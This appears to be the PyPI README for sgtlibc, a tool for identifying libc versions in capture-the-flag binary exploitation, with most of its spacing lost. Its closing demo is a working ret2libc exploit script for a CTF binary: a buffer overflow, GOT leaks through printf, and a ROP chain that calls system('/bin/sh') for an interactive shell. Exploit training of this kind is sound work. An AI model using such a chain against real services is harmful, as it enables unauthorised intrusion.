Package: sgtlibc
What?sgtlibcis a a offline python-lib for search libc function.InstallpipinstallsgtlibcUsageusage:sgtlibc[-h][-d[DUMP...]][-i[INDEX]][-s[SYMBOLS]][-u[UPDATE]][-v[VERSION]][funcs_with_addresses]aofflinepython-libforsearchlibcfunction.forsearchversionoflibc.youcanuselike:`sgtlibcputs:aa0+read:140--dumpsystembinsh`orinpython,like:`py:importsgtlibc;s=sgtlibc.LibcSearcher();s.add_condition('puts',0xaa0)`positionalarguments:funcs_with_addressesspecify`func-name`and`funcaddress`,splitby`|`,eg:puts:aa0+read:140,itsmeansfunc-putsaddress=0xaa0;func-readaddress=0x140(default:None).

options:-h,--helpshowthishelpmessageandexit-d[DUMP...],--dump[DUMP...]selectfuncstodumpitsinfo(default:['__libc_start_main_ret','system','dup2','read','write','str_bin_sh']).-i[INDEX],--index[INDEX]dbindexonmulti-databasefoundoccation(default:0).-s[SYMBOLS],--symbols[SYMBOLS]convertlibc-elffiletosymbols-file,use`libc_path[alias]`toconvert.-u[UPDATE],--update[UPDATE]updatecurrentlibcdatabasefrominternet,neednon-microsoft-windowsenvironment(default:False).-v[VERSION],--version[VERSION]showversionQuick Startin cmd.exeor/bin/sh`sgtlibcputs:aa0
sgtlibcputs:aa0+read:140
sgtlibcputs:aa0+read:140--dumpsystembinshinpython3importsgtlibcs=sgtlibc.Searcher()s.add_condition('puts',0xaa0)s.add_condition('read',0x140)print(s.dump())print(s.dump(['system','str_bin_sh']))Examplemain argsspecifyfunc-nameandfunc address,**SHOULD split by|**eg:puts:aa0+read:140which means:func-putsaddress =0xaa0func-readaddress =0x140--updateis for update libc database from internet base onlibc-database,require non-microsoft-windowsystempython runrun [python code above](/#/Quick Start) , you'll get output-result like following shows:command runrun command in terminal , you'll get output-result like following shows:pwntools runuse inpwntoolsfrompwnimport*# should run pip install pwntools beforeimportsgtlibcs=libc.Searcher()puts_addr=0xf71234567aa0# from leak datas.add_condition('puts',puts_addr)s.dump(db_index=0)# search libc , if returns multi-result ,default use index-0's resultsystem_addr=p00(s.get_address(sgtlibc.s_system))binsh_addr=p00(s.get_address(sgtlibc.s_binsh))use user-libc databasesearch libc from user-directoryfromsgtlibc.utilsimportconfigurationasconfigdeftest_use_user_libc():lib_path='./libs'# here input your libc directoryconfig.set(config.extension_database_path,lib_path)s=LibcSearcher('puts',0xf7007)s.decided()add user-libc databaseadd a libc.so file to databasesgtlibc-s./libc.from_user.so:alias_input_hereorfromsgtlibc.mainimportdo_symbolsdo_symbols(f'./libc.from_user.so:alias_input_here')CTF Problem Solve DEMOview all sameple filesuse exploit codeimportsgtlibcfromsgtlibc.gameboximport*set_config(GameBoxConfig(is_local=True,file='./babyrop2',remote='192.168.0.1:25462',auto_load=True,auto_show_rop=True,auto_show_summary=True,auto_start_game=True,auto_load_shell_str=True,auto_show_symbols=True))s=sgtlibc.Searcher()elf=client.elfdefexp():payload_exp=[b'a'*(28+4),fakeebp()]# overflow positionreturnpayload_expdefleak(func:str):payload=exp()# here will auto-pack to p64, you can use p64 or p00 as same effect.payload+=[elf.rop['rdi'],elf.got[func],elf.plt['printf'],elf.symbols['main']]sl(payload)rl()data=rc(6).ljust(8,b'\0')data=uc(data)s.add_condition(func,data)returndataleak('printf')leak('read')data=s.dump(db_index=2)# choose your system indexsystem_addr=s.get_address(sgtlibc.s_system)binsh_addr=s.get_address(sgtlibc.s_binsh)log.info(f'system_addr:{hex(system_addr)}')log.info(f'binsh_addr:{hex(binsh_addr)}')payload=exp()payload+=[elf.rop['rdi'],binsh_addr,system_addr,fakeebp()]sl(payload)interactive()resultNoticedefault libc database is update on2022-06-01,which long-time ago , we fully recommanded to update it by runsgtlibc --updateStatus